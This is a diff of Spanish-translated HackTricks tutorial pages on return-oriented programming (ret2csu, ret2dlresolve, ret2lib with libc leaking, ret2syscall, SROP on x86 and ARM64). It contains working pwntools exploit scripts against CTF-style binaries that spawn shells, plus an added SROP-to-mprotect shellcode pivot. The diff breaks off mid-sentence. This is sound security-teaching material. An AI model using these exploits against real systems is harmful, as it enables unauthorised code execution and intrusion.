a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -6,7 +6,7 @@ ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Información Básica -**ret2csu** es una técnica de hacking utilizada cuando intentas tomar el control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa. +**ret2csu** es una técnica de hacking utilizada cuando intentas tomar control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa. Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo diferentes partes del programa se comunican entre sí. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada `__libc_csu_init`. @@ -24,7 +24,7 @@ pop r14; pop r15; ret; ``` -Este gadget nos permite controlar estos registros al sacar valores de la pila y colocarlos en ellos. +Este gadget nos permite controlar estos registros al sacar valores de la pila hacia ellos. 2. La segunda secuencia utiliza los valores que configuramos para hacer un par de cosas: - **Mover valores específicos a otros registros**, preparándolos para que los usemos como parámetros en funciones. @@ -35,7 +35,7 @@ mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` -3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesitas una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir con algunas **condiciones** para alcanzarlo: +3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesites una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir algunas **condiciones** para alcanzarlo: ```armasm mov rdx, r15; mov rsi, r14; @@ -50,7 +50,7 @@ ret Las condiciones serán: - `[r12 + rbx*8]` debe apuntar a una dirección que almacene una función callable (si no hay idea y no hay pie, puedes usar simplemente la función `_init`): -- Si \_init está en `0x400560`, usa GEF para buscar un puntero en la memoria hacia ella y hacer que `[r12 + rbx*8]` sea la dirección con el puntero a \_init: +- Si \_init está en `0x400560`, usa GEF para buscar un puntero en la memoria hacia ella y haz que `[r12 + rbx*8]` sea la dirección con el puntero a \_init: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 @@ -71,6 +71,7 @@ Otra forma de controlar **`rdi`** y **`rsi`** desde el gadget ret2csu es accedie Consulta esta página para más información: + {{#ref}} brop-blind-return-oriented-programming.md {{#endref}} @@ -111,11 +112,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` > [!WARNING] -> Tenga en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, solo está destinado a llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`. +> Tenga en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, solo está destinado a llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`. -### Eludir la llamada y alcanzar ret +### Bypass de la llamada y llegada a ret -El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, **está eludiendo las comparaciones y alcanzando el `ret`** después de la llamada: +El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, está **bypasseando las comparaciones y llegando al `ret`** después de la llamada: ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -165,8 +166,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` -### ¿Por qué no usar libc directamente? +### ¿Por Qué No Usar libc Directamente? -Normalmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**. +Usualmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 61956eb68..384046122 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -10,18 +10,19 @@ La función **`_dl_runtime_resolve`** toma del stack referencias a algunas estru Por lo tanto, es posible **falsificar todas estas estructuras** para hacer que la resolución dinámica vincule el símbolo solicitado (como la función **`system`**) y lo llame con un parámetro configurado (por ejemplo, **`system('/bin/sh')`**). -Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `$'/bin/sh'`. +Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `'$'/bin/sh'`. > [!TIP] > Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/index.html) o [SROP](srop-sigreturn-oriented-programming/index.html)) y no hay formas de filtrar direcciones de libc. -Mira este video para una buena explicación sobre esta técnica en la segunda mitad del video: +Chek this video for a nice explanation about this technique in the second half of the video: + {{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared {{#endref}} -O consulta estas páginas para una explicación paso a paso: +Or check these pages for a step-by-step explanation: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) @@ -31,10 +32,10 @@ O consulta estas páginas para una explicación paso a paso: 1. Escribir estructuras falsas en algún lugar 2. Establecer el primer argumento de system (`$rdi = &'/bin/sh'`) 3. Colocar en el stack las direcciones a las estructuras para llamar a **`_dl_runtime_resolve`** -4. **Llamar** a `_dl_runtime_resolve` +4. **Llamar** `_dl_runtime_resolve` 5. **`system`** será resuelto y llamado con `'/bin/sh'` como argumento -De la [**documentación de pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), así es como se ve un ataque **`ret2dlresolve`**: +From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index 032ea4ed8..2df5281d1 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -4,7 +4,7 @@ ## **Información Básica** -La esencia de **Ret2Libc** es redirigir el flujo de ejecución de un programa vulnerable a una función dentro de una biblioteca compartida (por ejemplo, **system**, **execve**, **strcpy**) en lugar de ejecutar shellcode proporcionado por el atacante en la pila. El atacante elabora una carga útil que modifica la dirección de retorno en la pila para apuntar a la función de la biblioteca deseada, mientras también organiza que cualquier argumento necesario esté correctamente configurado de acuerdo con la convención de llamada. +La esencia de **Ret2Libc** es redirigir el flujo de ejecución de un programa vulnerable a una función dentro de una biblioteca compartida (por ejemplo, **system**, **execve**, **strcpy**) en lugar de ejecutar shellcode proporcionado por el atacante en la pila. El atacante elabora una carga útil que modifica la dirección de retorno en la pila para apuntar a la función de la biblioteca deseada, mientras también organiza que cualquier argumento necesario esté configurado correctamente de acuerdo con la convención de llamada. ### **Pasos de Ejemplo (simplificados)** @@ -25,7 +25,7 @@ for i in `seq 0 20`; do ldd ./ | grep libc; done ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` -- Conociendo la libc utilizada, también es posible encontrar el desplazamiento a la cadena `/bin/sh` función con: +- Conocer la libc utilizada también permite encontrar el desplazamiento a la cadena `/bin/sh` función con: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` @@ -49,7 +49,7 @@ En este caso se carga en **0xb75dc000** (Esta será la dirección base de libc) ## libc desconocida -Puede ser posible que **no conozcas la libc que está cargando el binario** (porque podría estar ubicada en un servidor al que no tienes acceso). En ese caso, podrías abusar de la vulnerabilidad para **filtrar algunas direcciones y encontrar qué biblioteca libc** se está utilizando: +Puede ser posible que **no sepas qué libc está cargando el binario** (porque podría estar ubicado en un servidor al que no tienes acceso). En ese caso, podrías abusar de la vulnerabilidad para **filtrar algunas direcciones y encontrar qué biblioteca libc** se está utilizando: {{#ref}} rop-leaking-libc-address/ @@ -77,15 +77,15 @@ for off in range(0xb7000000, 0xb8000000, 0x1000): ## One Gadget -Ejecuta un shell saltando a **una** **dirección** específica en libc: +Ejecuta un shell saltando a **una** dirección **específica** en libc: {{#ref}} one-gadget.md {{#endref}} -## x86 Ret2lib Código de Ejemplo +## x86 Ret2lib Code Example -En este ejemplo, el brute-force de ASLR está integrado en el código y el binario vulnerable se encuentra en un servidor remoto: +En este ejemplo, la fuerza bruta de ASLR está integrada en el código y el binario vulnerable se encuentra en un servidor remoto: ```python from pwn import * @@ -105,6 +105,7 @@ c.interactive() Consulta el ejemplo de: + {{#ref}} ../ {{#endref}} @@ -117,18 +118,20 @@ Además, en ARM64 una instrucción hace lo que la instrucción hace (no es posib Consulta el ejemplo de: + {{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}} ## Ret-into-printf (o puts) -Esto permite **filtrar información del proceso** al llamar a `printf`/`puts` con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de `puts` en la GOT en una ejecución de `puts` **filtrará la dirección de `puts` en memoria**. +Esto permite **filtrar información del proceso** al llamar a `printf`/`puts` con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de `puts` en el GOT en una ejecución de `puts` **filtrará la dirección de `puts` en memoria**. ## Ret2printf Esto básicamente significa abusar de un **Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de `printf`** utilizando el `ret2lib` para llamar a printf con los valores para explotarlo (suena inútil pero es posible): + {{#ref}} ../../format-strings/ {{#endref}} @@ -138,14 +141,14 @@ Esto básicamente significa abusar de un **Ret2lib para transformarlo en una vul - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - Ret2lib, dado un leak a la dirección de una función en libc, usando un gadget - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y luego un gadget ROP para llamar a `system('/bin/sh')` +- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y luego llamar a un gadget. +- 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego llamar a un gadget. - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - 64 bits, sin pie, sin canario, sin relro, nx. Usa la función write para filtrar la dirección de write (libc) y llama a un gadget. - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) -- Usa una cadena de formato para filtrar el canario de la pila y un desbordamiento de búfer para llamar a system (está en la GOT) con la dirección de `/bin/sh`. +- Usa una cadena de formato para filtrar el canario de la pila y un desbordamiento de búfer para llamar a system (está en el GOT) con la dirección de `/bin/sh`. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) -- 32 bits, sin relro, sin canario, nx, pie. Abusa de un mal indexado para filtrar direcciones de libc y heap desde la pila. Abusa del desbordamiento de búfer para hacer un ret2lib llamando a `system('/bin/sh')` (se necesita la dirección del heap para eludir una verificación). +- 32 bits, sin relro, sin canario, nx, pie. Abusa de un mal indexado para filtrar direcciones de libc y heap desde la pila. Abusa del desbordamiento de búfer para hacer un ret2lib llamando a `system('/bin/sh')` (la dirección del heap es necesaria para eludir una verificación). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index 5ab3cbe9b..24d0834fc 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -36,6 +36,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script: + {{#ref}} rop-leaking-libc-template.md {{#endref}} @@ -125,24 +126,24 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` Esto enviará algunos bytes hasta que **sobrescribir** el **RIP** sea posible: `OFFSET`.\ Luego, establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** de `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\ -Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y **la imprima**.\ +Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y **lo imprima**.\ Finalmente, **la función main se llama de nuevo** para que podamos explotar el desbordamiento nuevamente. De esta manera hemos **engañado a la función puts** para que **imprima** la **dirección** en **memoria** de la función **puts** (que está dentro de la biblioteca **libc**). Ahora que tenemos esa dirección, podemos **buscar qué versión de libc se está utilizando**. ![](<../../../../images/image (1049).png>) -Como estamos **explotando** un binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\ +Como estamos **explotando** algún binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\ Pero, en un caso de explotación remota, aquí explicaré cómo puedes encontrarla: -### 3.1- Buscando la versión de libc (1) +### 3.1- Búsqueda de la versión de libc (1) Puedes buscar qué biblioteca se está utilizando en la página web: [https://libc.blukat.me/](https://libc.blukat.me)\ También te permitirá descargar la versión descubierta de **libc** ![](<../../../../images/image (221).png>) -### 3.2- Buscando la versión de libc (2) +### 3.2- Búsqueda de la versión de libc (2) También puedes hacer: @@ -162,7 +163,7 @@ Podemos averiguar qué **libc** es la que probablemente se está utilizando. ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` -Obtenemos 2 coincidencias (deberías intentar la segunda si la primera no funciona). Descarga la primera: +Obtenemos 2 coincidencias (deberías probar la segunda si la primera no funciona). Descarga la primera: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 @@ -195,7 +196,7 @@ if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) ``` -> [!NOTE] +> [!TIP] > Tenga en cuenta que **la dirección base final de libc debe terminar en 00**. Si ese no es su caso, es posible que haya filtrado una biblioteca incorrecta. Luego, la dirección de la función `system` y la **dirección** de la cadena _"/bin/sh"_ se van a **calcular** a partir de la **dirección base** de **libc** y dada la **biblioteca libc.** @@ -228,7 +229,7 @@ Finalmente, se **llama** a la **dirección de la función exit** para que el pro ## 4(2)- Usando ONE_GADGET También podrías usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obtener un shell en lugar de usar **system** y **"/bin/sh". ONE_GADGET** encontrará dentro de la biblioteca libc alguna forma de obtener un shell usando solo una **dirección ROP**.\ -Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL` Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para evitar la restricción. +Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para evitar la restricción. ![](<../../../../images/image (754).png>) ```python @@ -239,6 +240,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100 Puedes encontrar una plantilla para explotar esta vulnerabilidad aquí: + {{#ref}} rop-leaking-libc-template.md {{#endref}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 1dc781bc9..37681786b 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -52,7 +52,7 @@ mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` ### Automatizar la cadena ROP -El siguiente comando crea una cadena ROP completa `sys_execve` dado un binario estático cuando hay gadgets de write-what-where e instrucciones de syscall: +El siguiente comando crea una cadena ROP completa `sys_execve` dada una binario estático cuando hay gadgets de write-what-where e instrucciones de syscall: ```bash ROPgadget --binary vuln --ropchain ``` @@ -98,6 +98,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx Si te **faltan gadgets**, por ejemplo para escribir `/bin/sh` en memoria, puedes usar la **técnica SROP para controlar todos los valores de los registros** (incluyendo RIP y los registros de parámetros) desde la pila: + {{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index 143632b05..a937f4c4c 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -4,6 +4,7 @@ Encuentra una introducción a arm64 en: + {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} @@ -12,6 +13,7 @@ Encuentra una introducción a arm64 en: Vamos a usar el ejemplo de la página: + {{#ref}} ../../stack-overflow/ret2win/ret2win-arm64.md {{#endref}} @@ -63,7 +65,7 @@ nop ; mov x8, #0xdd ; svc #0 ``` -Con los gadgets anteriores, podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget para llamar a la syscall. +Con los gadgets anteriores podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget para llamar a la syscall. > [!TIP] > Tenga en cuenta que conocer esta información de la biblioteca libc también permite realizar un ataque ret2libc, pero usemos esto para el ejemplo actual. diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 48511907b..0f1246b4f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -1,20 +1,21 @@ -# SROP - Sigreturn-Oriented Programming +# SROP - Programación Orientada a la Señal {{#include ../../../banners/hacktricks-training.md}} ## Información Básica -**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar con señales. +**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un controlador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **controlador de señales**, una función especial diseñada para tratar con señales. -Después de que el manejador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del manejador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales. +Después de que el controlador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del controlador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el controlador de señales. La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila. > [!CAUTION] -> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría cargar en la **pila** es posible para **controlar** todos los valores de los registros y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`. +> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de los registros y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`. Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls: + {{#ref}} ../rop-syscall-execv/ {{#endref}} @@ -134,7 +135,7 @@ target.interactive() - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/index.html). La cadena ROP escribe `/bin/sh` en la `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read intro ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará. +- Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode. diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index f2fc9cdd6..44dfee9c9 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -1,4 +1,4 @@ -# SROP - ARM64 +# {{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}} @@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -103,7 +103,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -## ejemplo de bof sin sigreturn +## bof ejemplo sin sigreturn ### Código ```c @@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -165,16 +165,65 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -Para más información sobre vdso, consulta: +Para más información sobre vdso consulta: {{#ref}} ../ret2vdso.md {{#endref}} -Y para eludir la dirección de `/bin/sh`, podrías crear varias variables de entorno que apunten a ella, para más información: +Y para eludir la dirección de `/bin/sh` podrías crear varias variables de entorno que apunten a ella, para más información: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ {{#endref}} +--- + +## Encontrar gadgets `sigreturn` automáticamente (2023-2025) + +En distribuciones modernas, el trampolín `sigreturn` todavía se exporta por la página **vDSO**, pero el desplazamiento exacto puede variar entre versiones del kernel y banderas de compilación como BTI (`+branch-protection`) o PAC. Automatizar su descubrimiento previene la codificación rígida de desplazamientos: +```bash +# With ROPgadget ≥ 7.4 +python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn + +# With rp++ ≥ 1.0.9 (arm64 support) +rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn +``` +Ambas herramientas entienden **AArch64** codificaciones y listarán secuencias candidatas `mov x8, 0x8b ; svc #0` que pueden ser utilizadas como el *gadget SROP*. + +> Nota: Cuando los binarios se compilan con **BTI**, la primera instrucción de cada objetivo de rama indirecta válida es `bti c`. Los trampolines `sigreturn` colocados por el enlazador ya incluyen la almohadilla de aterrizaje BTI correcta, por lo que el gadget sigue siendo utilizable desde código no privilegiado. + +## Encadenando SROP con ROP (pivotar a través de `mprotect`) + +`rt_sigreturn` nos permite controlar *todos* los registros de propósito general y `pstate`. Un patrón común en x86 es: 1) usar SROP para llamar a `mprotect`, 2) pivotar a una nueva pila ejecutable que contenga código shell. La misma idea funciona en ARM64: +```python +frame = SigreturnFrame() +frame.x8 = constants.SYS_mprotect # 226 +frame.x0 = 0x400000 # page-aligned stack address +frame.x1 = 0x2000 # size +frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC +frame.sp = 0x400000 + 0x100 # new pivot +frame.pc = svc_call # will re-enter kernel +``` +Después de enviar el marco, puedes enviar una segunda etapa que contenga código shell en bruto en `0x400000+0x100`. Debido a que 